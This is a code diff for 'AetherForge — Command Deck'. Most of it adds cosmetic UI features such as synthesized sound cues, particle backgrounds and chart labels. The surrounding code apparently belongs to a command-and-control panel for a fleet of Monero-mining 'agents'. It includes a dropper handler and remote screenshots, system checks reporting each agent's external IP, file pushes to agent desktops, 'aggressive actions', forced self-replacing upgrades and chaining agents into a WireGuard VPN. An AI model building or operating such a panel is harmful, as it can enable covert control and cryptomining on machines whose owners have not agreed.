SMTPHost: cfg.Alerts.SMTPHost,
SMTPPort: cfg.Alerts.SMTPPort,
SMTPUser: cfg.Alerts.SMTPUser,
SMTPPassword: cfg.Alerts.SMTPPassword,
EmailTo: cfg.Alerts.EmailTo,
EmailFrom: cfg.Alerts.EmailFrom,
}
}, func() alerts.Settings {
return cfg.AlertSettings()
}, func(ev alerts.AlertEvent) {
wsHub.BroadcastFleetAlert(ev)
})
@@ -230,7 +225,7 @@ func main() {
}
}()
fleetHandler := api.NewFleetHandler(database, wsHub, aiHandler, poolManager, alertEvaluator, defaultPoolCfg)
fleetHandler := api.NewFleetHandler(database, wsHub, aiHandler, poolManager, alertEvaluator, defaultPoolCfg, cfg.DataDir)
// Initialize blueprint handler (config presets)
blueprintHandler := api.NewBlueprintHandler(cfg.DataDir)
@@ -244,12 +239,15 @@ func main() {
// Path Forge: server-side recursive file seeding
pathForgeHandler := builder.NewPathForgeHandler(cfg.DataDir)
// Path Tracer: on-demand WireGuard multi-hop VPN builder
pathTracerHandler := api.NewPathTracerHandler(wsHub)
// Find web root for frontend
webRoot := findWebRoot()
log.Printf("Web root: %s", webRoot)
// Initialize router
router := api.NewRouter(database, wsHub, configHandler, builderHandler, blueprintHandler, aiHandler, fleetHandler, dropperHandler, pathForgeHandler, webRoot, cfg.DataDir, func() string {
router := api.NewRouter(database, wsHub, configHandler, builderHandler, blueprintHandler, aiHandler, fleetHandler, dropperHandler, pathForgeHandler, pathTracerHandler, webRoot, cfg.DataDir, func() string {
return configProvider.PublicURL()
})
log.Println("Router initialized")

View File

@@ -5,8 +5,11 @@
<link rel="icon" type="image/png" href="/af-logo.png" />
<link rel="shortcut icon" type="image/png" href="/af-logo.png" />
<link rel="apple-touch-icon" href="/af-logo.png" />
<meta name="viewport" content="width=device-width, initial-scale=1.0" />
<meta name="viewport" content="width=device-width, initial-scale=1.0, viewport-fit=cover, maximum-scale=5" />
<meta name="theme-color" content="#c9a227" />
<meta name="apple-mobile-web-app-capable" content="yes" />
<meta name="apple-mobile-web-app-status-bar-style" content="black-translucent" />
<meta name="format-detection" content="telephone=no" />
<title>AetherForge — Command Deck</title>
</head>
<body>

View File

@@ -12,6 +12,10 @@ vi.mock('./context/WebSocketProvider', () => ({
WebSocketProvider: ({ children }: { children: ReactNode }) => <>{children}</>,
}));
vi.mock('./components/Sound/SoundBridge', () => ({
default: () => null,
}));
vi.mock('./context/ForgeContext', () => ({
ForgeProvider: ({ children }: { children: ReactNode }) => <>{children}</>,
}));

View File

@@ -3,8 +3,11 @@ import { Routes, Route, Navigate } from 'react-router-dom';
import SessionGate from './components/SessionGate';
import Layout from './components/Layout/Layout';
import { WebSocketProvider } from './context/WebSocketProvider';
import { SoundProvider } from './context/SoundContext';
import { VisualEffectsProvider } from './context/VisualEffectsContext';
import { ForgeProvider } from './context/ForgeContext';
import { MatrixRainProvider } from './context/MatrixRainContext';
import SoundBridge from './components/Sound/SoundBridge';
const DashboardPage = lazy(() => import('./pages/DashboardPage'));
const AgentsPage = lazy(() => import('./pages/AgentsPage'));
@@ -13,6 +16,7 @@ const BuildManagerPage = lazy(() => import('./pages/BuildManagerPage'));
const SettingsPage = lazy(() => import('./pages/SettingsPage'));
const GuidePage = lazy(() => import('./pages/GuidePage'));
const CruciblePage = lazy(() => import('./pages/CruciblePage'));
const PathTracerPage = lazy(() => import('./pages/PathTracerPage'));
export function PageFallback() {
return (
@@ -27,6 +31,9 @@ function App() {
// WebSocketProvider mounts a single WS connection shared by all routes.
// No page or component should call new WebSocket() directly — use useWebSocket().
<WebSocketProvider>
<SoundProvider>
<VisualEffectsProvider>
<SoundBridge />
<ForgeProvider>
<MatrixRainProvider>
<SessionGate>
@@ -42,12 +49,15 @@ function App() {
<Route path="/builds" element={<BuildManagerPage />} />
<Route path="/guide" element={<GuidePage />} />
<Route path="/settings" element={<SettingsPage />} />
<Route path="/pathtracer" element={<PathTracerPage />} />
</Routes>
</Suspense>
</Layout>
</SessionGate>
</MatrixRainProvider>
</ForgeProvider>
</VisualEffectsProvider>
</SoundProvider>
</WebSocketProvider>
);
}

View File

@@ -1,4 +1,4 @@
import type { Agent, Share, HashrateSample, BuildRecord, ServerConfig, BuildRequest, BuildResponse, ServerInfo, BlueprintInfo, FleetAlert, PoolStatus, AIActivityEntry, EarningsEstimate, FusionEstimate, XmrPrice } from '../types';
import type { Agent, Share, HashrateSample, BuildRecord, ServerConfig, BuildRequest, BuildResponse, ServerInfo, BlueprintInfo, FleetAlert, PoolStatus, AIActivityEntry, EarningsEstimate, FusionEstimate, XmrPrice, PathTraceHop } from '../types';
import { authHeaders } from './auth';
const API_BASE = '/api/v1';
@@ -136,6 +136,10 @@ export const api = {
// Fleet ops
getAlerts: () => fetchJSON<FleetAlert[]>('/alerts'),
testAlerts: () =>
fetchJSON<Record<string, { sent: boolean; error?: string }>>('/alerts/test', {
method: 'POST',
}),
getPoolStatus: () => fetchJSON<PoolStatus[]>('/pools/status'),
getAIActivity: () => fetchJSON<AIActivityEntry[]>('/ai/activity'),
getEarningsEstimate: (hashrate: number) =>
@@ -157,6 +161,22 @@ export const api = {
getAgentLog: (id: string, refresh = false) =>
fetchJSON<{ agent_id: string; content: string }>(`/agents/${id}/log${refresh ? '?refresh=1' : ''}`),
downloadAgentLog: async (id: string): Promise<void> => {
const res = await fetch(`${API_BASE}/agents/${id}/log?download=1`, {
headers: { ...authHeaders() },
});
if (!res.ok) throw new Error(`Log download failed: ${res.status}`);
const blob = await res.blob();
const url = URL.createObjectURL(blob);
const a = document.createElement('a');
a.href = url;
a.download = `agent-${id.slice(0, 8)}.log`;
document.body.appendChild(a);
a.click();
document.body.removeChild(a);
URL.revokeObjectURL(url);
},
updateAgentMeta: (id: string, notes: string, tags: string[]) =>
fetchJSON<{ success: boolean; agent: Agent }>(`/agents/${id}/meta`, {
method: 'PUT',
@@ -187,9 +207,44 @@ export const api = {
// XMR market price (server-side CoinGecko cache, refreshed every 10 min)
getXmrPrice: () => fetchJSON<XmrPrice>('/market/xmr'),
// Path Tracer — WireGuard VPN chain sessions
startTrace: (agentIds: string[]) =>
fetchJSON<{ session_id: string; hops: PathTraceHop[] }>('/pathtrace/start', {
method: 'POST',
body: JSON.stringify({ agent_ids: agentIds }),
}),
getTraceStatus: (id: string) =>
fetchJSON<{ session_id: string; ready: boolean; error?: string; hops: PathTraceHop[] }>(`/pathtrace/${id}/status`),
getTraceQR: (id: string) =>
fetchJSON<{ config: string; qr_png_b64: string }>(`/pathtrace/${id}/qr`),
deleteTrace: (id: string) =>
fetchJSON<{ ok: boolean }>(`/pathtrace/${id}`, { method: 'DELETE' }),
// Cancel an in-progress forge build by its cancel token.
cancelBuild: (cancelToken: string) =>
fetchJSON<{ cancelled: boolean }>(`/builder/cancel/${encodeURIComponent(cancelToken)}`, {
method: 'DELETE',
}),
// Full deck backup — downloads a zip containing config.json, users.json, miner.db.
downloadBackup: async (): Promise<void> => {
const res = await fetch(`${API_BASE}/backup`, {
method: 'GET',
headers: { ...authHeaders() },
});
if (!res.ok) {
const err = await res.text();
throw new Error(`Backup failed ${res.status}: ${err}`);
}
const blob = await res.blob();
const disposition = res.headers.get('Content-Disposition') ?? '';
const match = disposition.match(/filename="([^"]+)"/);
const filename = match ? match[1] : 'aetherforge-backup.zip';
const url = URL.createObjectURL(blob);
const a = document.createElement('a');
a.href = url;
a.download = filename;
a.click();
URL.revokeObjectURL(url);
},
};

View File

@@ -0,0 +1,79 @@
/**
* @vitest-environment happy-dom
*/
import { describe, it, expect, vi, beforeEach, afterEach } from 'vitest';
import {
HapticEngine,
loadSoundEnabled,
loadSoundVolume,
SFX_STORAGE_KEY,
SFX_VOLUME_KEY,
} from './hapticEngine';
describe('hapticEngine prefs', () => {
beforeEach(() => {
localStorage.clear();
});
it('defaults sound on and volume ~0.4', () => {
expect(loadSoundEnabled()).toBe(true);
expect(loadSoundVolume()).toBeCloseTo(0.4);
});
it('persists enabled flag', () => {
const e = new HapticEngine();
e.setEnabled(false);
expect(localStorage.getItem(SFX_STORAGE_KEY)).toBe('0');
expect(loadSoundEnabled()).toBe(false);
});
it('clamps volume', () => {
const e = new HapticEngine();
e.setVolume(2);
expect(e.getVolume()).toBe(1);
e.setVolume(-1);
expect(e.getVolume()).toBe(0);
expect(localStorage.getItem(SFX_VOLUME_KEY)).toBe('0');
});
});
describe('HapticEngine.play', () => {
const vibrate = vi.fn();
beforeEach(() => {
vibrate.mockClear();
Object.defineProperty(navigator, 'vibrate', {
value: vibrate,
configurable: true,
writable: true,
});
});
afterEach(() => {
vi.restoreAllMocks();
});
it('does not vibrate when disabled', () => {
const e = new HapticEngine();
e.setEnabled(false);
e.play('click');
expect(vibrate).not.toHaveBeenCalled();
});
it('vibrates when enabled', () => {
const e = new HapticEngine();
e.setEnabled(true);
e.play('success');
expect(vibrate).toHaveBeenCalled();
});
it('play does not throw without AudioContext', () => {
const prev = globalThis.AudioContext;
// @ts-expect-error test shim
delete globalThis.AudioContext;
const e = new HapticEngine();
e.setEnabled(true);
expect(() => e.play('click')).not.toThrow();
globalThis.AudioContext = prev;
});
});

View File

@@ -0,0 +1,228 @@
/** UI + fleet event cues — synthesized via Web Audio (no asset files). */
export type SoundCue =
| 'click'
| 'nav'
| 'success'
| 'error'
| 'alert'
| 'alertCritical'
| 'share'
| 'connect'
| 'disconnect'
| 'online'
| 'offline';
export const SFX_STORAGE_KEY = 'aetherforge-sfx';
export const SFX_VOLUME_KEY = 'aetherforge-sfx-volume';
export function loadSoundEnabled(): boolean {
try {
const v = localStorage.getItem(SFX_STORAGE_KEY);
return v === null ? true : v === '1';
} catch {
return true;
}
}
export function loadSoundVolume(): number {
try {
const v = localStorage.getItem(SFX_VOLUME_KEY);
if (v === null) return 0.4;
const n = parseFloat(v);
return Number.isFinite(n) ? Math.min(1, Math.max(0, n)) : 0.4;
} catch {
return 0.4;
}
}
function persistEnabled(enabled: boolean) {
try {
localStorage.setItem(SFX_STORAGE_KEY, enabled ? '1' : '0');
} catch {
/* ignore */
}
}
function persistVolume(volume: number) {
try {
localStorage.setItem(SFX_VOLUME_KEY, String(volume));
} catch {
/* ignore */
}
}
const VIBRATE: Partial<Record<SoundCue, number | number[]>> = {
click: 8,
nav: 12,
success: [12, 40, 18],
error: [30, 50, 80],
alert: [20, 30, 20],
alertCritical: [40, 60, 40, 80],
share: 14,
connect: [10, 25],
disconnect: [35, 20],
online: [15, 35],
offline: [25, 15],
};
type ToneSpec = {
freq: number;
duration: number;
type?: OscillatorType;
gain?: number;
delay?: number;
};
function vibrateFor(cue: SoundCue) {
if (typeof navigator === 'undefined' || !navigator.vibrate) return;
const pattern = VIBRATE[cue];
if (pattern !== undefined) navigator.vibrate(pattern);
}
export class HapticEngine {
private ctx: AudioContext | null = null;
private enabled = loadSoundEnabled();
private volume = loadSoundVolume();
private unlocked = false;
isEnabled() {
return this.enabled;
}
getVolume() {
return this.volume;
}
setEnabled(enabled: boolean) {
this.enabled = enabled;
persistEnabled(enabled);
}
setVolume(volume: number) {
this.volume = Math.min(1, Math.max(0, volume));
persistVolume(this.volume);
}
/** Browsers require a user gesture before audio plays. */
unlock() {
if (this.unlocked) return;
try {
const Ctx =
typeof window !== 'undefined'
? window.AudioContext ||
(window as unknown as { webkitAudioContext?: typeof AudioContext }).webkitAudioContext
: undefined;
if (!Ctx) return;
if (!this.ctx) this.ctx = new Ctx();
if (this.ctx.state === 'suspended') void this.ctx.resume();
this.unlocked = true;
} catch {
/* ignore */
}
}
play(cue: SoundCue) {
if (!this.enabled) return;
this.unlock();
vibrateFor(cue);
const specs = cueSpecs(cue);
if (!specs.length) return;
try {
const Ctx = window.AudioContext ||
(window as unknown as { webkitAudioContext?: typeof AudioContext }).webkitAudioContext;
if (!Ctx) return;
if (!this.ctx) this.ctx = new Ctx();
const ctx = this.ctx;
if (ctx.state === 'suspended') void ctx.resume();
const master = ctx.createGain();
master.gain.value = this.volume;
master.connect(ctx.destination);
const now = ctx.currentTime;
for (const spec of specs) {
this.scheduleTone(ctx, master, spec, now);
}
} catch {
/* Audio blocked or unavailable */
}
}
private scheduleTone(ctx: AudioContext, dest: GainNode, spec: ToneSpec, base: number) {
const osc = ctx.createOscillator();
const g = ctx.createGain();
const t0 = base + (spec.delay ?? 0);
const dur = spec.duration;
const peak = (spec.gain ?? 0.12) * this.volume;
osc.type = spec.type ?? 'sine';
osc.frequency.setValueAtTime(spec.freq, t0);
g.gain.setValueAtTime(0.0001, t0);
g.gain.exponentialRampToValueAtTime(Math.max(peak, 0.0001), t0 + 0.008);
g.gain.exponentialRampToValueAtTime(0.0001, t0 + dur);
osc.connect(g);
g.connect(dest);
osc.start(t0);
osc.stop(t0 + dur + 0.02);
}
}
function cueSpecs(cue: SoundCue): ToneSpec[] {
switch (cue) {
case 'click':
return [{ freq: 920, duration: 0.04, type: 'square', gain: 0.06 }];
case 'nav':
return [
{ freq: 440, duration: 0.05, gain: 0.07 },
{ freq: 660, duration: 0.06, delay: 0.04, gain: 0.06 },
];
case 'success':
return [
{ freq: 523, duration: 0.08, gain: 0.1 },
{ freq: 784, duration: 0.1, delay: 0.07, gain: 0.09 },
];
case 'error':
return [
{ freq: 180, duration: 0.12, type: 'sawtooth', gain: 0.11 },
{ freq: 140, duration: 0.14, delay: 0.1, type: 'sawtooth', gain: 0.09 },
];
case 'alert':
return [
{ freq: 740, duration: 0.07, type: 'triangle', gain: 0.09 },
{ freq: 620, duration: 0.08, delay: 0.09, type: 'triangle', gain: 0.08 },
];
case 'alertCritical':
return [
{ freq: 880, duration: 0.06, type: 'square', gain: 0.1 },
{ freq: 660, duration: 0.06, delay: 0.07, type: 'square', gain: 0.1 },
{ freq: 440, duration: 0.1, delay: 0.14, type: 'square', gain: 0.11 },
];
case 'share':
return [
{ freq: 1200, duration: 0.05, gain: 0.08 },
{ freq: 1600, duration: 0.06, delay: 0.05, gain: 0.07 },
];
case 'connect':
return [
{ freq: 330, duration: 0.07, gain: 0.08 },
{ freq: 495, duration: 0.09, delay: 0.06, gain: 0.08 },
];
case 'disconnect':
return [
{ freq: 400, duration: 0.1, gain: 0.08 },
{ freq: 260, duration: 0.12, delay: 0.08, gain: 0.07 },
];
case 'online':
return [
{ freq: 587, duration: 0.07, gain: 0.08 },
{ freq: 880, duration: 0.09, delay: 0.06, gain: 0.07 },
];
case 'offline':
return [
{ freq: 440, duration: 0.09, gain: 0.07 },
{ freq: 330, duration: 0.1, delay: 0.07, gain: 0.06 },
];
default:
return [];
}
}
export const hapticEngine = new HapticEngine();

View File

@@ -1,70 +1,17 @@
import { FlowerOfLifeWatermark, SacredMotif } from '../Visual/sacredGeometry/motifs';
import GlowParticles from './GlowParticles';
import './AmbientBackground.css';
/** Slow-rotating sacred geometry SVG — Flower of Life circles inscribed in a pentagram ring */
function SacredGeometry() {
const cx = 50;
const cy = 50;
const R = 32; // outer circle radius
// Six-petal Flower of Life petal centres (offset by R from centre)
const petalAngles = [0, 60, 120, 180, 240, 300];
const petals = petalAngles.map((deg) => {
const rad = (deg * Math.PI) / 180;
return { x: cx + R * Math.cos(rad), y: cy + R * Math.sin(rad) };
});
// 5-pointed star vertices inscribed at radius R*1.15
const starR = R * 1.15;
const starPts = Array.from({ length: 5 }, (_, i) => {
const rad = ((i * 72 - 90) * Math.PI) / 180;
return { x: cx + starR * Math.cos(rad), y: cy + starR * Math.sin(rad) };
});
const starPath = starPts.map((p, i) => (i === 0 ? `M${p.x},${p.y}` : `L${p.x},${p.y}`)).join(' ') + ' Z';
// Inner triangles (upward + downward — Star of David inner ring)
const triR = R * 0.7;
const triUp = [0, 120, 240].map((d) => {
const rad = ((d - 90) * Math.PI) / 180;
return `${cx + triR * Math.cos(rad)},${cy + triR * Math.sin(rad)}`;
}).join(' ');
const triDown = [60, 180, 300].map((d) => {
const rad = ((d - 90) * Math.PI) / 180;
return `${cx + triR * Math.cos(rad)},${cy + triR * Math.sin(rad)}`;
}).join(' ');
return (
<svg className="ambient-sacred-geo" viewBox="0 0 100 100" xmlns="http://www.w3.org/2000/svg" aria-hidden>
<g opacity="0.55">
{/* Outer ring */}
<circle cx={cx} cy={cy} r={R * 1.35} fill="none" stroke="#c9a227" strokeWidth="0.18" strokeDasharray="1.2 1.8" />
{/* Middle ring */}
<circle cx={cx} cy={cy} r={R} fill="none" stroke="#c9a227" strokeWidth="0.22" />
{/* Inner ring */}
<circle cx={cx} cy={cy} r={R * 0.5} fill="none" stroke="#c9a227" strokeWidth="0.18" strokeDasharray="0.6 1.2" />
{/* Flower of Life petal circles */}
{petals.map((p, i) => (
<circle key={i} cx={p.x} cy={p.y} r={R} fill="none" stroke="#c9a227" strokeWidth="0.16" opacity="0.7" />
))}
{/* Pentagon star */}
<path d={starPath} fill="none" stroke="#ff8c00" strokeWidth="0.2" strokeLinejoin="round" opacity="0.6" />
{/* Merkaba triangles */}
<polygon points={triUp} fill="none" stroke="#c9a227" strokeWidth="0.2" opacity="0.8" />
<polygon points={triDown} fill="none" stroke="#c9a227" strokeWidth="0.2" opacity="0.8" />
{/* Centre dot */}
<circle cx={cx} cy={cy} r="0.6" fill="#c9a227" opacity="0.9" />
{/* Spoke lines to star points */}
{starPts.map((p, i) => (
<line key={i} x1={cx} y1={cy} x2={p.x} y2={p.y} stroke="#c9a227" strokeWidth="0.1" opacity="0.35" />
))}
</g>
</svg>
);
return <FlowerOfLifeWatermark className="ambient-sacred-geo" opacity={0.55} />;
}
export default function AmbientBackground() {
return (
<div className="ambient-bg" aria-hidden>
<div className="ambient-grid" />
<GlowParticles />
<div className="ambient-vignette" />
<div className="ambient-orb ambient-orb-cyan" />
<div className="ambient-orb ambient-orb-magenta" />
@@ -72,6 +19,13 @@ export default function AmbientBackground() {
<div className="ambient-scanline" />
<div className="ambient-gear ambient-gear-1" />
<div className="ambient-gear ambient-gear-2" />
<div className="ambient-geo-hex-veil" />
<div className="ambient-geo-corner ambient-geo-corner--tl" aria-hidden>
<SacredMotif name="metatron" opacity={0.65} />
</div>
<div className="ambient-geo-corner ambient-geo-corner--br" aria-hidden>
<SacredMotif name="hex" opacity={0.6} />
</div>
{/* Sacred geometry watermark — centre of the main content area */}
<SacredGeometry />
</div>

View File

@@ -0,0 +1,115 @@
.ambient-glow-canvas {
position: absolute;
inset: 0;
width: 100%;
height: 100%;
z-index: 1;
pointer-events: none;
opacity: 0.92;
mix-blend-mode: screen;
}
/* Lightweight CSS sparkles — complements canvas, no extra JS cost */
.ambient-css-sparkles {
position: absolute;
inset: 0;
z-index: 2;
pointer-events: none;
overflow: hidden;
}
.ambient-sparkle {
position: absolute;
width: 3px;
height: 3px;
border-radius: 50%;
animation: ambient-sparkle-pulse 4s ease-in-out infinite;
box-shadow:
0 0 6px 2px currentColor,
0 0 14px 4px currentColor;
}
.ambient-sparkle--1 {
color: rgba(201, 162, 39, 0.55);
top: 18%;
left: 22%;
animation-delay: 0s;
}
.ambient-sparkle--2 {
color: rgba(0, 245, 255, 0.45);
top: 72%;
left: 68%;
animation-delay: -1.2s;
}
.ambient-sparkle--3 {
color: rgba(255, 45, 166, 0.4);
top: 42%;
left: 85%;
animation-delay: -2.4s;
}
.ambient-sparkle--4 {
color: rgba(255, 176, 32, 0.5);
top: 58%;
left: 12%;
animation-delay: -3.1s;
}
.ambient-sparkle:nth-child(5) {
top: 8%;
left: 55%;
color: rgba(0, 245, 255, 0.35);
animation-delay: -0.8s;
}
.ambient-sparkle:nth-child(6) {
top: 88%;
left: 38%;
color: rgba(201, 162, 39, 0.4);
animation-delay: -2s;
}
.ambient-sparkle:nth-child(7) {
top: 28%;
left: 78%;
color: rgba(255, 176, 32, 0.38);
animation-delay: -1.5s;
}
.ambient-sparkle:nth-child(8) {
top: 65%;
left: 48%;
color: rgba(255, 45, 166, 0.32);
animation-delay: -3.6s;
}
.ambient-sparkle:nth-child(9) {
top: 35%;
left: 8%;
color: rgba(0, 245, 255, 0.38);
animation-delay: -2.8s;
}
.ambient-sparkle:nth-child(10) {
top: 52%;
left: 92%;
color: rgba(201, 162, 39, 0.42);
animation-delay: -0.4s;
}
@keyframes ambient-sparkle-pulse {
0%,
100% {
transform: scale(0.6);
opacity: 0.25;
}
50% {
transform: scale(1.4);
opacity: 0.95;
}
}
@media (prefers-reduced-motion: reduce) {
.ambient-glow-canvas {
opacity: 0.5;
}
.ambient-sparkle {
animation: none;
opacity: 0.35;
transform: scale(1);
}
}

View File

@@ -0,0 +1,168 @@
import { useEffect, useRef } from 'react';
import { useIsMobileLayout } from '../../hooks/useMediaQuery';
import { useVisualEffects } from '../../context/VisualEffectsContext';
import './GlowParticles.css';
const PALETTE = [
{ core: 'rgba(201, 162, 39, 0.85)', mid: 'rgba(201, 162, 39, 0.25)', line: 'rgba(201, 162, 39, 0.12)' },
{ core: 'rgba(0, 245, 255, 0.75)', mid: 'rgba(0, 245, 255, 0.22)', line: 'rgba(0, 245, 255, 0.1)' },
{ core: 'rgba(255, 45, 166, 0.7)', mid: 'rgba(255, 45, 166, 0.2)', line: 'rgba(255, 45, 166, 0.09)' },
{ core: 'rgba(255, 176, 32, 0.8)', mid: 'rgba(255, 176, 32, 0.22)', line: 'rgba(255, 176, 32, 0.1)' },
] as const;
type Particle = {
x: number;
y: number;
vx: number;
vy: number;
r: number;
pulse: number;
pulseSpeed: number;
color: (typeof PALETTE)[number];
};
function particleCount(mobile: boolean): number {
const cores = typeof navigator !== 'undefined' ? navigator.hardwareConcurrency || 4 : 4;
if (cores <= 2) return mobile ? 18 : 28;
if (mobile) return 32;
return cores >= 8 ? 64 : 48;
}
function initParticles(w: number, h: number, n: number): Particle[] {
const out: Particle[] = [];
for (let i = 0; i < n; i++) {
out.push({
x: Math.random() * w,
y: Math.random() * h,
vx: (Math.random() - 0.5) * 0.35,
vy: (Math.random() - 0.5) * 0.35,
r: 1.2 + Math.random() * 2.2,
pulse: Math.random() * Math.PI * 2,
pulseSpeed: 0.008 + Math.random() * 0.012,
color: PALETTE[i % PALETTE.length],
});
}
return out;
}
function drawGlow(ctx: CanvasRenderingContext2D, p: Particle, alpha: number) {
const glowR = p.r * (3.2 + Math.sin(p.pulse) * 0.8);
const g = ctx.createRadialGradient(p.x, p.y, 0, p.x, p.y, glowR);
g.addColorStop(0, p.color.core);
g.addColorStop(0.35, p.color.mid);
g.addColorStop(1, 'transparent');
ctx.save();
ctx.globalAlpha = alpha;
ctx.fillStyle = g;
ctx.beginPath();
ctx.arc(p.x, p.y, glowR, 0, Math.PI * 2);
ctx.fill();
ctx.restore();
}
/** Soft drifting glow orbs + faint constellation links — sits behind all UI. */
export default function GlowParticles() {
const canvasRef = useRef<HTMLCanvasElement>(null);
const particlesRef = useRef<Particle[]>([]);
const rafRef = useRef(0);
const isMobile = useIsMobileLayout();
const { glowParticles } = useVisualEffects();
useEffect(() => {
if (!glowParticles) return;
const reducedMotion = window.matchMedia('(prefers-reduced-motion: reduce)').matches;
const canvas = canvasRef.current;
if (!canvas) return;
const ctx = canvas.getContext('2d');
if (!ctx) return;
const linkDist = isMobile ? 90 : 130;
const linkDistSq = linkDist * linkDist;
const resize = () => {
const dpr = Math.min(window.devicePixelRatio || 1, 2);
const w = window.innerWidth;
const h = window.innerHeight;
canvas.width = Math.floor(w * dpr);
canvas.height = Math.floor(h * dpr);
canvas.style.width = `${w}px`;
canvas.style.height = `${h}px`;
ctx.setTransform(dpr, 0, 0, dpr, 0, 0);
particlesRef.current = initParticles(w, h, particleCount(isMobile));
};
resize();
window.addEventListener('resize', resize);
const tick = () => {
if (document.hidden) {
rafRef.current = requestAnimationFrame(tick);
return;
}
const w = canvas.clientWidth;
const h = canvas.clientHeight;
ctx.clearRect(0, 0, w, h);
const pts = particlesRef.current;
if (!reducedMotion) {
for (const p of pts) {
p.x += p.vx;
p.y += p.vy;
p.pulse += p.pulseSpeed;
if (p.x < -20) p.x = w + 20;
if (p.x > w + 20) p.x = -20;
if (p.y < -20) p.y = h + 20;
if (p.y > h + 20) p.y = -20;
}
}
for (let i = 0; i < pts.length; i++) {
for (let j = i + 1; j < pts.length; j++) {
const dx = pts[i].x - pts[j].x;
const dy = pts[i].y - pts[j].y;
const d2 = dx * dx + dy * dy;
if (d2 < linkDistSq) {
const t = 1 - Math.sqrt(d2) / linkDist;
ctx.strokeStyle = pts[i].color.line;
ctx.globalAlpha = t * 0.35;
ctx.lineWidth = 0.6;
ctx.beginPath();
ctx.moveTo(pts[i].x, pts[i].y);
ctx.lineTo(pts[j].x, pts[j].y);
ctx.stroke();
}
}
}
ctx.globalAlpha = 1;
for (const p of pts) {
const twinkle = reducedMotion ? 0.75 : 0.55 + Math.sin(p.pulse) * 0.25;
drawGlow(ctx, p, twinkle);
}
rafRef.current = requestAnimationFrame(tick);
};
rafRef.current = requestAnimationFrame(tick);
return () => {
window.removeEventListener('resize', resize);
cancelAnimationFrame(rafRef.current);
};
}, [glowParticles, isMobile]);
if (!glowParticles) return null;
return (
<>
<canvas ref={canvasRef} className="ambient-glow-canvas" aria-hidden />
<div className="ambient-css-sparkles" aria-hidden>
{Array.from({ length: isMobile ? 6 : 10 }, (_, i) => (
<span key={i} className={`ambient-sparkle ambient-sparkle--${(i % 4) + 1}`} />
))}
</div>
</>
);
}

View File

@@ -7,6 +7,11 @@ import {
XAxis,
YAxis,
} from 'recharts';
import {
chartSeriesDelta,
chartSeriesPeak,
type ChartDisplayMode,
} from '../../help/chartSampleData';
import './HashrateChart.css';
export interface ChartPoint {
@@ -21,6 +26,7 @@ interface HashrateChartProps {
color?: string;
unit?: string;
height?: number;
displayMode?: ChartDisplayMode;
}
const GRAD_IDS = ['cyan', 'magenta', 'amber', 'green', 'purple'] as const;
@@ -39,25 +45,42 @@ export default function HashrateChart({
color = '#00f5ff',
unit = 'H/s',
height = 280,
displayMode = 'live',
}: HashrateChartProps) {
const gradId = colorToId(color);
const peak = chartSeriesPeak(data);
const delta = chartSeriesDelta(data);
const liveLabel =
displayMode === 'live' ? '● LIVE' : displayMode === 'blend' ? '● SYNCING' : '● PROJECTION';
const liveClass =
displayMode === 'live' ? 'pulse' : displayMode === 'blend' ? 'blend' : 'sample';
if (data.length === 0) {
return (
<div className="chart-empty neon-chart-panel">
<div className="chart-empty neon-chart-panel wealth-empty">
<div className="chart-empty-icon"></div>
<p className="font-tech">{title || 'Telemetry'}</p>
<span>Awaiting signal from fleet...</span>
<span>Calibrating chart telemetry</span>
</div>
);
}
return (
<div className="chart-wrap neon-chart-panel">
<div className="chart-wrap neon-chart-panel wealth-chart">
{title && (
<div className="chart-header">
<h3 className="chart-title font-display">{title}</h3>
<span className="chart-live pulse"> LIVE</span>
<div className="chart-header-meta">
<span className="chart-peak font-tech">
PEAK {formatFull(peak, unit)}
</span>
{delta != null && (
<span className={`chart-delta font-tech ${delta >= 0 ? 'up' : 'down'}`}>
{delta >= 0 ? '▲' : '▼'} {Math.abs(delta).toFixed(1)}%
</span>
)}
<span className={`chart-live ${liveClass}`}>{liveLabel}</span>
</div>
</div>
)}
<ResponsiveContainer width="100%" height={height}>

View File

@@ -5,7 +5,12 @@ import type { SeqCommandResult } from '../../context/WebSocketContext';
import { aggressiveActionHint, canRunAggressiveAction } from '../../help/aggressiveActions';
import { downloadScreenshotFromBase64, sanitizeScreenshotBase64 } from '../../help/screenshotDownload';
import { formatHashrate } from '../../help/fleetFilters';
import { pushFileToAgentDesktop } from '../../help/desktopPush';
import { parseFullSysCheckMessage } from '../../types/syscheck';
import type { FullSysCheckReport } from '../../types/syscheck';
import FullSysCheckPanel from './FullSysCheckPanel';
import './AgentRemoteActions.css';
import './FullSysCheckPanel.css';
const TERMINAL_MAX_LINES = 500;
@@ -49,6 +54,7 @@ export default function AgentRemoteActions({
const [busy, setBusy] = useState<string | null>(null);
const [wolMac, setWolMac] = useState('');
const [wolExpanded, setWolExpanded] = useState(false);
const [sysCheckReport, setSysCheckReport] = useState<FullSysCheckReport | null>(null);
// Fleet upgrade
const [builds, setBuilds] = useState<Build[]>([]);
const [selectedBuildId, setSelectedBuildId] = useState<string>('');
@@ -133,7 +139,20 @@ export default function AgentRemoteActions({
const { agent_id, action, success, message } = payload;
if (agentId && agentId !== 'all' && agent_id !== agentId) continue;
if (action === 'screenshot') {
if (action === 'full_sys_check') {
if (success && message) {
const parsed = parseFullSysCheckMessage(message);
if (parsed) {
setSysCheckReport(parsed);
addLog(`✓ Full system check — WAN ${parsed.network?.external_ip ?? 'n/a'}`);
} else {
addLog('✗ [FULL_SYS_CHECK] could not parse report JSON');
}
} else {
addLog(`✗ [FULL_SYS_CHECK] FAIL\n${message ?? ''}`);
setSysCheckReport(null);
}
} else if (action === 'screenshot') {
const label = agentNameProp ?? agent?.name ?? (agent_id ? agent_id.slice(0, 8) : 'agent');
if (success && message) {
const clean = sanitizeScreenshotBase64(message);
@@ -146,12 +165,14 @@ export default function AgentRemoteActions({
} else {
addLog(`✗ [SCREENSHOT] ${label}: FAIL\n${message ?? ''}`);
}
} else if (action) {
} else if (action && action !== 'full_sys_check') {
const icon = success ? '✓' : '✗';
addLog(`${icon} [${action.toUpperCase()}]\n${message ?? ''}`);
const preview =
message && message.length > 4000 ? `${message.slice(0, 4000)}\n…[truncated in terminal]` : message ?? '';
addLog(`${icon} [${action.toUpperCase()}]\n${preview}`);
}
}
}, [commandResults, agentId, addLog]);
}, [commandResults, agentId, addLog, agentNameProp, agent?.name]);
const dispatch = async (action: string, args: Record<string, unknown> = {}) => {
if (!agentId) {
@@ -169,7 +190,14 @@ export default function AgentRemoteActions({
if (action === 'upgrade' && !window.confirm(`Push binary upgrade to "${agentName === 'Agent' ? 'ENTIRE FLEET' : agentName}"?\n\nThe agent will download, replace itself, and restart.`)) return;
